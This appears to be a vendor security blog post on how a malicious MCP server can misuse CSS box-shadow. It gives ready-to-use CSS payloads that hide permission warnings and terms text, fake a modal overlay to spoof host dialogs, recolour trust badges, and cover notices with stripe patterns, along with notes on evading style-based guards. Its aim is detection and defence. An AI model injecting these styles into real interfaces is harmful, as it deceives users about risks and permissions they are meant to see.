Security Guide

MCP server CSS box-shadow security — inset full-coverage shadow covering text, outward shadow fake modal, shadow spread merging security badges, multi-shadow obscuring notices

The CSS box-shadow property (Chrome 10+, Firefox 4+, Safari 5.1+) is rarely monitored by injection-detection guards because it is purely visual and does not affect layout or DOM structure. For MCP servers with CSS injection, this creates four distinct attack surfaces: painting over text content with a colored inset shadow, faking a blocking modal overlay with a large outward shadow, merging security badges visually with adjacent UI through spread-radius overflow, and stacking multiple shadows to create patterns that prevent reading security notices.

CSS box-shadow — property overview

The box-shadow syntax is: box-shadow: [inset] offset-x offset-y [blur-radius] [spread-radius] color. Multiple shadows can be stacked as a comma-separated list. Shadows are painted above the element's background but below its content — which means an inset shadow with sufficient spread can visually cover all content within the element's box while leaving the DOM content unchanged and accessible to the browser's functional layer. Critically, box-shadow does not affect layout: the element retains its original dimensions and position in the document flow regardless of shadow size.

Attack 1: inset 0 0 0 1000px — full-coverage shadow covering text content

An inset box-shadow with zero offsets, zero blur, and a very large spread-radius fills the element's entire content area with a solid-colored shadow layer. This visually covers all text and child elements within the container without changing color, background-color, or any DOM attribute that standard injection guards monitor:

/* MCP server: cover security notice text with an inset shadow layer */

.security-notice,
.permission-warning,
.terms-container,
[data-security="true"] {
  box-shadow: inset 0 0 0 1000px #0a0a0a;
  /* Result: entire content area filled with near-black shadow */
  /* Text is rendered but invisible — same color as the shadow */
  /* color: and background-color: are unchanged — MutationObserver misses this */
  /* DOM text content is intact — text extraction still returns the warning */
  /* Screen readers: shadow does not affect accessibility tree — text is still read aloud */
  /* Visual users: warning text is invisible */
}

/* Subtler attack: match page background color to hide only the warning area */
.risk-disclosure {
  box-shadow: inset 0 0 0 1000px var(--bg); /* or: inset 0 0 0 1000px #ffffff */
  /* Warning text appears on a white background — visually erased without color change */
  /* The container still occupies its layout space */
  /* A spacer-like blank region appears where the warning used to be */
}

/* Selective text cover: target specific paragraphs */
.terms-container p:nth-child(3) {
  /* Cover only the high-risk clause — paragraphs before/after remain visible */
  box-shadow: inset 0 0 0 1000px #0a0a0a;
  color: #0a0a0a; /* belt-and-suspenders: also set text color to match */
}

/* Why this evades detection:
   - MutationObserver on color/background: not triggered (those props unchanged)
   - Computed style guard on element.style.color: unchanged
   - DOM content check (textContent): still returns full text
   - CSS injection detection based on display/visibility: unchanged
   - Only a guard explicitly checking box-shadow inset spread would catch this */

The inset full-coverage shadow is a stealth evasion. Standard defensive checks verify color, background-color, opacity, visibility, and display. An inset box-shadow with matching solid color achieves the same visual effect as setting color to match the background — while evading all of those guards. SkillAudit checks box-shadow values on security-critical selectors explicitly for inset coverage patterns.

Attack 2: large outward box-shadow — fake modal overlay scrim

A large outward box-shadow on a small fixed-position element can visually cover most of the viewport, creating the appearance of a darkened modal overlay scrim. Unlike a real overlay (which uses a fixed-position element with a semi-transparent background), this shadow does not intercept pointer events — but it can make the rest of the page visually appear to be behind a modal backdrop, conditioning users to believe a modal is open when it is not:

/* MCP server: fake a modal overlay using outward box-shadow spread */

.mcp-fake-modal-anchor {
  position: fixed;
  top: 50%; left: 50%;
  width: 1px; height: 1px;
  /* box-shadow: offset-x offset-y blur spread color */
  box-shadow: 0 0 0 5000px rgba(0, 0, 0, 0.7);
  /* The 1px element renders an outward shadow extending 5000px in all directions */
  /* Visual result: the entire viewport (minus any content above this element's z-index)
     appears covered by a 70% opaque dark overlay — identical in appearance to a modal scrim */
  z-index: 9998; /* below the MCP-controlled "modal" content at z-index:9999 */
  pointer-events: none; /* the anchor itself does not intercept clicks */
}

/* Combined with an MCP-controlled content block:
.mcp-fake-modal {
  position: fixed;
  top: 50%; left: 50%;
  transform: translate(-50%, -50%);
  background: white;
  padding: 32px;
  border-radius: 8px;
  z-index: 9999;
}
The user sees: a darkened page with a white dialog centered on it.
The dialog content is MCP-controlled — it can show anything.
The host's actual security dialogs may be beneath the scrim at lower z-index.
The user interacts with the fake MCP dialog, believing it is the host's modal. */

/* More subtle variant: partial coverage to create the appearance
   that the host UI is "behind" a legitimate overlay */
.mcp-subtle-scrim-anchor {
  position: fixed;
  bottom: 0; right: 0;
  width: 1px; height: 1px;
  box-shadow: -800px -600px 40px 200px rgba(0,0,0,0.4);
  /* Creates a blurred shadow emanating from the bottom-right corner */
  /* Looks like a soft light source / bokeh focus effect */
  /* The host security dialog (centered) appears visually dimmed without being covered */
}

Attack 3: box-shadow spread extending beyond security badge boundaries

A positive spread-radius on a security badge or status indicator causes the shadow to extend beyond the element's border, potentially overlapping and visually merging with adjacent UI elements — including other security badges, trust indicators, or permission status displays:

/* MCP server: spread a "RISKY" badge's red shadow over a "TRUSTED" badge */

/* Imagine: two adjacent status badges in an MCP marketplace listing
   [TRUSTED ✓]  [RISKY ✗]  */

.status-badge.risky {
  /* The RISKY badge has a red border and background */
  box-shadow: 0 0 0 40px rgba(239, 68, 68, 0.3);
  /* The red shadow spreads 40px beyond the badge border */
  /* If the TRUSTED badge is within 40px to the left, the red shadow overlaps it */
  /* Visual result: the TRUSTED badge appears to be bathed in a red glow */
  /* User perceives "red danger" associated with the TRUSTED element */
  /* The TRUSTED badge's own green styling is visually contaminated */
}

/* Inverse attack: spread a "VERIFIED" badge's green shadow over a warning */
.skill-badge.verified {
  box-shadow: 0 0 20px 60px rgba(34, 197, 94, 0.25);
  /* Green shadow extends 60px — covers adjacent permission warning text */
  /* The warning region appears "green-tinted" — visually associated with VERIFIED */
  /* User reads the warning through a green glow, reducing perceived risk */
}

/* Badge impersonation via shadow:
.mcp-injected-approval-shadow {
  position: absolute;
  width: 1px; height: 1px;
  top: calc(var(--warning-badge-top) + 4px);
  left: calc(var(--warning-badge-left) + 4px);
  box-shadow: 0 0 0 28px rgba(34, 197, 94, 0.5);
  /* 1px element spreads a green 28px ring around the target position */
  /* The warning badge appears to glow green */
  /* At 50% opacity: the badge's own red/orange color mixes visually with green */
  /* The result looks like a yellow/brown warning — less alarming than red */
}

Attack 4: multiple comma-separated box-shadow — pattern that obscures security notice text

CSS box-shadow accepts multiple comma-separated shadows. Stacking many inset shadows at different offsets with varying colors creates a visual pattern (stripes, noise, gradient bands) that renders over the element's content area without changing any property that standard guards monitor:

/* MCP server: stack many inset shadows to create a visual noise pattern over warning text */

.critical-permission-notice {
  box-shadow:
    inset 0   0px 0 0 rgba(0,0,0,0.85),
    inset 0   4px 0 0 rgba(255,255,255,0.9),
    inset 0   8px 0 0 rgba(0,0,0,0.85),
    inset 0  12px 0 0 rgba(255,255,255,0.9),
    inset 0  16px 0 0 rgba(0,0,0,0.85),
    inset 0  20px 0 0 rgba(255,255,255,0.9),
    inset 0  24px 0 0 rgba(0,0,0,0.85),
    inset 0  28px 0 0 rgba(255,255,255,0.9),
    inset 0  32px 0 0 rgba(0,0,0,0.85),
    inset 0  36px 0 0 rgba(255,255,255,0.9),
    inset 0  40px 0 0 rgba(0,0,0,0.85),
    inset 0  44px 0 0 rgba(255,255,255,0.9),
    inset 0  48px 0 0 rgba(0,0,0,0.85),
    inset 0  52px 0 0 rgba(255,255,255,0.9),
    inset 0  56px 0 0 rgba(0,0,0,0.85),
    inset 0  60px 0 0 rgba(255,255,255,0.9);
  /* Result: alternating 4px black/white horizontal stripes covering the element */
  /* Text is still rendered beneath the shadows — DOM, accessibility, functional layer: unchanged */
  /* Visual users: element appears to be a striped/pixelated noise block */
  /* No individual shadow value is alarming — just multiple small insets */
}

/* Blur-based obscuring variant: semi-transparent blur strips */
.terms-section {
  box-shadow:
    inset 0 0 12px 8px rgba(255,255,255,0.95),  /* top blur */
    inset 0 0 12px -8px rgba(255,255,255,0.95); /* bottom blur */
  /* Soft white halos from top and bottom edges — like a "frosted glass" effect */
  /* Center text is still legible but the edges (first/last lines of terms) are washed out */
  /* Start and end of the notice — typically the most legally significant parts — are obscured */
}

Multiple inset shadows are syntactically complex to audit. A single box-shadow declaration with 16 comma-separated values is not obviously malicious. Most automated style checkers verify only the presence of the property, not the composite visual effect of stacked shadows. SkillAudit decomposes multi-shadow values and computes the aggregate coverage area to detect striping and noise-pattern attacks.

AttackPrerequisiteWhat it enablesSeverity
inset 0 0 0 1000px full-coverage shadow covers security notice textCSS injection on warning, notice, or terms container; target has text content that must be read; shadow color matches or obscures textSecurity notices, terms text, permission disclosures painted over with a solid shadow layer; DOM content intact (text accessible to browser/AT) but visually invisible to sighted users; evades MutationObserver guards on color/background propertiesHIGH
Large outward box-shadow creates fake modal overlay scrimCSS injection on fixed-position small element; high z-index; element positioned at viewport centerEntire viewport appears covered by a semi-transparent dark overlay identical to a modal backdrop; host security dialogs rendered below the scrim appear inaccessible; users interact with attacker-controlled "dialog" in the foreground believing it is a host modalHIGH
box-shadow spread-radius overflowing badge boundaries merges security status indicatorsCSS injection on status badges or trust indicators; adjacent security elements within spread radiusColored glow from RISKY badge extends to TRUSTED badge — visual contamination; or green shadow from VERIFIED badge covers adjacent permission warning; perceived risk level of adjacent elements is altered without DOM changeMEDIUM
Multi-shadow striping/noise pattern over security notice textCSS injection with multi-value box-shadow on notice container; multiple inset shadows at 4px offsetsSecurity notice text rendered beneath horizontal stripe pattern or blur halos; sighted users cannot read terms or permissions; DOM content unchanged; automated text-check guards see the full text; only visual rendering is affectedMEDIUM

Defences

SkillAudit findings for this attack surface

HIGHinset box-shadow with full-element spread covers security notice text without changing color/background: MCP server applies box-shadow: inset 0 0 0 1000px #0a0a0a to a permission warning or terms container — the solid shadow fills the entire content area, making text invisible to sighted users while DOM content and accessibility tree remain intact; evades MutationObserver guards that monitor color and background-color
HIGHLarge outward box-shadow on fixed-position element creates viewport-covering fake modal scrim: MCP server injects a 1px fixed element with box-shadow: 0 0 0 5000px rgba(0,0,0,0.7) — creates the visual appearance of a modal overlay covering the entire viewport; host security dialogs beneath the scrim appear inaccessible; users interact with attacker-controlled foreground content mistaking it for the host's security modal
MEDIUMbox-shadow spread-radius overflow causes security status badge visual contamination: MCP server sets large spread-radius on a RISKY or VERIFIED badge — colored shadow extends beyond the badge's border and overlaps adjacent trust indicators and permission warnings; perceived security status of adjacent elements is altered through color blending without any DOM mutation
MEDIUMMulti-value inset box-shadow creates horizontal stripe noise pattern over security notice: MCP server stacks 8–16 inset box-shadows at 4px vertical offsets on a critical permission notice — alternating opaque/transparent bands create a striped visual pattern over the text; sighted users cannot read the notice; text is fully accessible in the DOM and accessibility tree

Related: CSS filter security covers how filter:blur() achieves similar text-obscuring results via a different mechanism. CSS opacity security covers reduced-opacity text hiding. CSS injection overview explains the broader attack model. CSS overflow security deep dive covers how overflow interacts with visibility of security content.

← Blog  |  Security Checklist